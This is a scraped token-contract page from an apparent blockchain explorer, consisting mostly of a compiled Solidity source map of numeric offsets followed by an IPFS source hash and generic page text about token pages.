;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;706:156:5;;;:::i;:::-;;933:106:2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;852:184:0;;;:::i;:::-;;4873:353:2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;329:87:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;424:259;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;610:88:5;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1909:173:2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;529:309:6;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;1319:176:2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;425:87:5;462:13;488:16;;;;;;;;;;;;;;;;;;;425:87;:::o;451:269:4:-;541:15;;;;;;;;;;;527:29;;:10;:29;;;519:87;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;622:53;649:15;;;;;;;;;;;666:8;622:53;;;;;;;;;;;;;;;;;;;;;;;;;;;;704:8;686:15;;:26;;;;;;;;;;;;;;;;;;451:269;:::o;3281:184:2:-;3365:12;3395:40;3407:10;3419:7;3428:6;3395:11;:40::i;:::-;3453:4;3446:11;;3281:184;;;;:::o;2485:620:4:-;2732:4;2749:18;2770:9;2749:30;;2798:19;:31;2818:10;2798:31;;;;;;;;;;;;;;;;;;;;;;;;;2790:107;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2908:27;2918:4;2924:2;2928:6;2908:9;:27::i;:::-;2966:1;2950:13;:17;2946:130;;;2984:80;2992:4;2998:8;3008:13;3023:10;3035:13;3050;2984:7;:80::i;:::-;2946:130;3093:4;3086:11;;;2485:620;;;;;;;;;:::o;683:91:2:-;727:7;754:12;;747:19;;683:91;:::o;2371:684::-;2469:12;2517:4;2503:18;;:10;:18;;;;:50;;;;;2526:15;:27;2542:10;2526:27;;;;;;;;;;;;;;;;;;;;;;;;;2525:28;2503:50;2499:489;;;2570:24;2597:11;:17;2609:4;2597:17;;;;;;;;;;;;;;;:29;2615:10;2597:29;;;;;;;;;;;;;;;;2570:56;;2665:12;2645:16;:32;2641:336;;2850:6;2830:16;:26;;2822:63;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2955:6;2936:16;:25;2904:11;:17;2916:4;2904:17;;;;;;;;;;;;;;;:29;2922:10;2904:29;;;;;;;;;;;;;;;:57;;;;2641:336;2499:489;;2998:27;3008:4;3014:2;3018:6;2998:9;:27::i;:::-;3043:4;3036:11;;2371:684;;;;;:::o;3759:345::-;3861:12;3927:5;3913:19;;:10;:19;;;:50;;;;3936:15;:27;3952:10;3936:27;;;;;;;;;;;;;;;;;;;;;;;;;3913:50;3891:137;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4039:35;4051:5;4058:7;4067:6;4039:11;:35::i;:::-;4092:4;4085:11;;3759:345;;;;;:::o;1608:82::-;1649:5;1680:1;1667:15;;1608:82;:::o;411:23::-;;;;;;;;;;;;;:::o;4112:361::-;4222:12;4288:5;4274:19;;:10;:19;;;:50;;;;4297:15;:27;4313:10;4297:27;;;;;;;;;;;;;;;;;;;;;;;;;4274:50;4252:137;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4400:43;4414:5;4421:7;4430:12;4400:13;:43::i;:::-;4461:4;4454:11;;4112:361;;;;;:::o;1664:119:4:-;1727:4;1751:19;:24;1771:3;1751:24;;;;;;;;;;;;;;;;;;;;;;;;;1744:31;;1664:119;;;:::o;1031:111:6:-;1090:4;1114:15;:20;1130:3;1114:20;;;;;;;;;;;;;;;;;;;;;;;;;1107:27;;1031:111;;;:::o;1111:356:4:-;1238:15;;;;;;;;;;;1224:29;;:10;:29;;;1202:137;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1391:7;1350:19;:38;1370:17;1350:38;;;;;;;;;;;;;;;;:48;;;;;;;;;;;;;;;;;;1414:45;1432:17;1451:7;1414:45;;;;;;;;;;;;;;;;;;;;;;;;;;;;1111:356;;:::o;706:156:5:-;779:10;:8;:10::i;:::-;765:24;;:10;:24;;;743:74;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;843:11;;;;;;;;;;;842:12;828:11;;:26;;;;;;;;;;;;;;;;;;706:156::o;933:106:2:-;988:7;1015:9;:16;1025:5;1015:16;;;;;;;;;;;;;;;;1008:23;;933:106;;;:::o;852:184:0:-;929:6;;;;;;;;;;915:20;;:10;:20;;;907:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;966:32;979:6;;;;;;;;;;995:1;966:32;;;;;;;;;;;;;;;;;;;;;;;;;;;;1026:1;1009:6;;:19;;;;;;;;;;;;;;;;;;852:184::o;4873:353:2:-;4995:6;;;;;;;;;;4981:20;;:10;:20;;;4973:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5043:4;5030:17;;:11;;;;;;;;;;;:17;;;5027:192;;;5071:1;5062:6;:10;5059:101;;;5074:18;5087:4;5074:12;:18::i;:::-;5059:101;;;5124:26;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;5116:7;;:34;;;;;;;;;;;;;;;;;;5059:101;5170:7;;;;;;;;;;;:12;;;5183:6;5191:9;5202:6;5170:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5027:192;4873:353;;;;:::o;329:87:0:-;375:7;402:6;;;;;;;;;;;395:13;;329:87;:::o;424:259::-;505:6;;;;;;;;;;491:20;;:10;:20;;;483:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;565:1;545:22;;:8;:22;;;;537:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;617:30;630:6;;;;;;;;;;638:8;617:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;667:8;658:6;;:17;;;;;;;;;;;;;;;;;;424:259;:::o;610:88:5:-;649:13;675:15;;;;;;;;;;;;;;;;;;;610:88;:::o;1909:173:2:-;1989:12;2019:33;2029:10;2041:2;2045:6;2019:9;:33::i;:::-;2070:4;2063:11;;1909:173;;;;:::o;529:309:6:-;648:6;;;;;;;;;;634:20;;:10;:20;;;612:114;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;770:7;737:15;:30;753:13;737:30;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;793:37;807:13;822:7;793:37;;;;;;;;;;;;;;;;;;;;;;;;;;;;529:309;;:::o;1319:176:2:-;1418:17;1460:11;:18;1472:5;1460:18;;;;;;;;;;;;;;;:27;1479:7;1460:27;;;;;;;;;;;;;;;;1453:34;;1319:176;;;;:::o;5388:331::-;5538:1;5521:19;;:5;:19;;;;:44;;;;;5563:1;5544:21;;:7;:21;;;;5521:44;5499:117;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5657:6;5627:11;:18;5639:5;5627:18;;;;;;;;;;;;;;;:27;5646:7;5627:27;;;;;;;;;;;;;;;:36;;;;5695:7;5679:32;;5688:5;5679:32;;;5704:6;5679:32;;;;;;;;;;;;;;;;;;5388:331;;;:::o;5727:437::-;5816:7;;;;;;;;;;;:12;;;5829:4;5835:2;5839:6;5816:30;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5879:1;5865:16;;:2;:16;;;;5857:47;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5915:22;5940:9;:15;5950:4;5940:15;;;;;;;;;;;;;;;;5915:40;;5992:6;5974:14;:24;;5966:52;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6064:6;6047:14;:23;6029:9;:15;6039:4;6029:15;;;;;;;;;;;;;;;:41;;;;6098:6;6081:9;:13;6091:2;6081:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;6145:2;6130:26;;6139:4;6130:26;;;6149:6;6130:26;;;;;;;;;;;;;;;;;;5727:437;;;;:::o;3113:581:4:-;3332:17;3365:9;3352:10;:22;3332:42;;3400:8;3388:9;:20;3385:72;;;3437:8;3425:20;;3385:72;3480:13;3467:26;;;;3504:22;3541:13;3529:9;:25;3504:50;;3603:13;3590:9;3573:14;:26;;;;;;:43;3565:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3640:46;3650:4;3656:13;3671:14;3640:9;:46::i;:::-;3113:581;;;;;;;;:::o;4481:384:2:-;4619:1;4604:12;:16;:45;;;;;4625:24;4641:7;4625:15;:24::i;:::-;4624:25;4604:45;4601:257;;;4666:24;4693:11;:18;4705:5;4693:18;;;;;;;;;;;;;;;:27;4712:7;4693:27;;;;;;;;;;;;;;;;4666:54;;4757:12;4738:16;:31;4735:112;;;4790:41;4802:5;4809:7;4818:12;4790:11;:41::i;:::-;4735:112;4601:257;;4481:384;;;:::o;6656:130::-;6699:7;6736:15;;;;;;;;;;;6726:25;;:6;;;;;;;;;;:25;;;:52;;6763:15;;;;;;;;;;;6726:52;;;6754:6;;;;;;;;;;6726:52;6719:59;;6656:130;:::o;5238:142::-;5294:18;:16;:18::i;:::-;5290:83;;;5359:1;5328:7;;:33;;;;;;;;;;;;;;;;;;5290:83;5238:142;:::o;1044:103:0:-;1095:4;1118:21;;;;;;;;;;;1111:28;;1044:103;:::o;-1:-1:-1:-;;;;;;;;:::o

Swarm Source

ipfs://d7635a0c966af22e280a777879a06b6c5351a4e2b0fd55ab2e03a3d93236c508
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.